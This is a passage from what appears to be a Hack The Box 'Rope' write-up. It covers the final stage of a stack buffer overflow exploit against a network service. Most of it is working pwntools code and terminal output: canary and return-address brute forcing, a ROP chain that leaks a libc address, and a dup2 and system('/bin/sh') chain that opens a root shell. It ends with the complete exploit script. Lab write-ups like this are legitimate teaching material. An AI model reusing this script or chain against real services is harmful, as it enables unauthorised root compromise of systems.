In order to call a function like system from libc, we still need a libc address. Using the image base address we can construct a ROP-chain, which leaks such an address. Luckily the last call before the ret instruction within the function we are exploiting is recv, which makes RDI still hold the file descriptor of our socket connection. Thus we only need to store a libc address reference in RSI (e.g. GOT entry of printf) and the value 8 in RDX (count of bytes we want to leak). If we then trigger a call to write, the program will send us the 8 byte libc address. The ROP-chain looks like this:

...

img_base = ret_addr - 0x1513
print('img_base: ' + hex(img_base))

pop_rdi     = 0x164b
pop_rsi_r15 = 0x1649
pop_rdx     = 0x1265
write       = 0x154e
printf_got  = 0x4058
printf_offset = 0x54b40

# leak libc address

expl  = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
expl += p64(img_base+pop_rdx)
expl += p64(8)
expl += p64(img_base+pop_rsi_r15)
expl += p64(img_base+printf_got)
expl += p64(0)
expl += p64(img_base+write)
io = remote(rhost, rport)
io.send(expl)
io.recvuntil('admin:\n')
leak = u(io.recv(8))
print('leak     :' + hex(leak))
libc_base = leak - printf_offset
print('libc_base:' + hex(libc_base))
io.close()

Since we leaked the value of the printf GOT entry, we need to subtract the printf function offset in order to get the libc base address. Notice that we are currently using the libc version from our local machine and must adjust these values to fit the remote machine. The offset can for example be determined by using objdump (-T: display dynamic symbol table):

root@kali:~/htb/boxes/rope/loot# ldd contact 
	linux-vdso.so.1 (0x00007fff729b8000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fefe4160000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fefe4341000)
root@kali:~/htb/boxes/rope/loot# objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep ' printf$'
0000000000054b40 g    DF .text	00000000000000c8  GLIBC_2.2.5 printf

Running the script additionally yields the image base address as well as the libc base address:

root@kali:~/htb/boxes/rope# ./bruteAll.py 
canary  : 0x24d291a4243ec800
rbp     : 0x7ffe9b7ee560
ret_addr: 0x559adf4ba513
img_base: 0x559adf4b9000
leak     :0x7f58e3f0eb40
libc_base:0x7f58e3eba000

Final Exploit

Now we have all the information we need to forge our final exploit. Since we are connected to the process via a socket, we need to bind stdin and stdout to our connection in order to interact with a shell spawned by calling system. This can be done by using the dup2 function:

dup2(socket_fd, 0);
dup2(socket_fd, 1);
system("/bin/sh"); 

Accordingly our ROP-chain for the final exploit looks like this:

...

# exploit

dup2_offset   = 0xec1f0
execve_offset = 0xc8020
system_offset = 0x46ff0
binsh_offset  = 0x183cee

"""dup2_offset = 0x1109a0
execve_offset = 0xe4e30
system_offset = 0x4f440
binsh_offset = 0x1b3e9a"""

expl  = 'A' * 56
expl += p64(canary)
expl += p64(rbp)

# dup2(socket_fd, 0)
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(libc_base+dup2_offset)

# dup2(socket_fd, 1)
expl += p64(img_base+pop_rsi_r15)
expl += p64(1)+p64(0)
expl += p64(libc_base+dup2_offset)

# system("/bin/sh")
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(img_base+pop_rdx)
expl += p64(0)
expl += p64(img_base+pop_rdi)
expl += p64(libc_base+binsh_offset)
expl += p64(libc_base+system_offset)

io = remote(rhost, rport)
io.send(expl)
io.interactive()

Let’s verify that the exploit is working against our local machine:

root@kali:~/htb/boxes/rope# ./expl.py 
found byte: 0x69
found byte: 0xfe
found byte: 0xba
...
canary  : 0x76d6e733bafe6900
rbp     : 0x7fff44fa9b00
ret_addr: 0x555e62f43562
img_base: 0x555e62f42000
leak     :0x7f24af82ab40
libc_base:0x7f24af7d6000
Please enter the message you want to send to admin:
$ id
uid=0(root) gid=0(root) groups=0(root)

Great 🙂

In order to adjust the exploit for the actual target, we need to grab the 64bit libc version from it, which is not a big afford since we already have ssh access with the user r4j:

root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./victim_libc.so.6
libc.so.6        

Now we need to adjust the libc offsets within the script and run it against the target. In order to do this, we forward the local port 1337 on our machine to the target host using ssh:

root@kali:~/htb/boxes/rope/loot# ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148 -i id_rsa_r4j
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64)
...
r4j@rope:~$ 

If we now execute the script, it runs against the target:

root@kali:~/htb/boxes/rope# ./expl.py 
canary  : 0xf653dbec3273f500
rbp     : 0x7fff653b1420
ret_addr: 0x55d013913562
img_base: 0x55d01391204f
Traceback (most recent call last):
  File "./bruteAll.py", line 74, in <module>
    leak = u(io.recv(8))
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
    return self._recv(numb, timeout) or ''
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 54, in recv_raw
    raise EOFError
EOFError

Ouch. This didn’t work. The value for img_base doesn’t look correct as the last three nibbles should be zero. Since the environment of our local machine is slightly different than the target, the bruteforce of the return address yielded a different offset within the function, which sends the message "Done.". Thus we only need to adjust this offset:

#img_base = ret_addr - 0x1513
img_base = ret_addr - 0x1562

If we now rerun the script, we get a shell:

root@kali:~/htb/boxes/rope# ./finalExpl.py 
canary  : 0xf653dbec3273f500
rbp     : 0x7fff653b1420
ret_addr: 0x55d013913562
img_base: 0x55d013912000
leak     :0x7f3e30704e80
libc_base:0x7f3e306a0000
Please enter the message you want to send to admin:
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls -al
total 56
drwx------  7 root root  4096 Jul  8 13:04 .
drwxr-xr-x 25 root root  4096 Jun 19 16:25 ..
drwxr-xr-x  2 root root  4096 Jun 19 19:06 bak
lrwxrwxrwx  1 root root     9 Jun 19 17:15 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 Jun 19 19:13 .cache
drwx------  3 root root  4096 Jun 19 19:13 .gnupg
drwxr-xr-x  3 root root  4096 Jun 19 17:32 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-------  1 root root    33 Jun 19 19:21 root.txt
-rw-r--r--  1 root root    66 Jun 20 06:07 .selected_editor
drwx------  2 root root  4096 Jun 19 15:06 .ssh
-rw-------  1 root root 11133 Jul  8 13:04 .viminfo
$ cat root.txt
1c77 ... (output truncated)

Here is the final exploit script:

#!/usr/bin/env python

from pwn import *

import time

context.log_level = 21 # disable connection log

rhost = '127.0.0.1'
rport = 1337

brute_str = '\x00'
expl  = 'A' * 56

while (len(brute_str) < 24):
  for i in range(256):
    fail = False
    io = remote(rhost, rport)
    io.send(expl+brute_str+chr(i))
    try:
      r = io.recvuntil('Done.\n', timeout=1.0)
      if (len(r) == 0): fail = True # timeout
    except: fail = True # EOF
    io.close()
    if (fail):
      if (i == 255):
        print('bruteforcing failed')
        quit()
      continue
    print('found byte: ' + hex(i))
    brute_str += chr(i)
    io.close()
    break

u = make_unpacker(64, endian='little', sign='unsigned')
canary   = u(brute_str[:8])
rbp      = u(brute_str[8:16])
ret_addr = u(brute_str[16:])

print('canary  : ' + hex(canary))
print('rbp     : ' + hex(rbp))
print('ret_addr: ' + hex(ret_addr))

img_base = ret_addr - 0x1562
print('img_base: ' + hex(img_base))

pop_rdi     = 0x164b
pop_rsi_r15 = 0x1649
pop_rdx     = 0x1265
write       = 0x154e
printf_got  = 0x4058
printf_offset = 0x64e80

# leak libc address

expl  = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
expl += p64(img_base+pop_rdx)
expl += p64(8)
expl += p64(img_base+pop_rsi_r15)
expl += p64(img_base+printf_got)
expl += p64(0)
expl += p64(img_base+write)
io = remote(rhost, rport)
io.send(expl)
io.recvuntil('admin:\n')
leak = u(io.recv(8))
print('leak     :' + hex(leak))
libc_base = leak - printf_offset
print('libc_base:' + hex(libc_base))
io.close()

# exploit

dup2_offset = 0x1109a0
execve_offset = 0xe4e30
system_offset = 0x4f440
binsh_offset = 0x1b3e9a

expl  = 'A' * 56
expl += p64(canary)
expl += p64(rbp)

# dup2(socket_fd, 0)
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(libc_base+dup2_offset)

# dup2(socket_fd, 1)
expl += p64(img_base+pop_rsi_r15)
expl += p64(1)+p64(0)
expl += p64(libc_base+dup2_offset)

# system("/bin/sh")
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(img_base+pop_rdx)
expl += p64(0)
expl += p64(img_base+pop_rdi)
expl += p64(libc_base+binsh_offset)
expl += p64(libc_base+system_offset)

io = remote(rhost, rport)
io.send(expl)
io.interactive()

That’s it. Thanks for reading the article 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *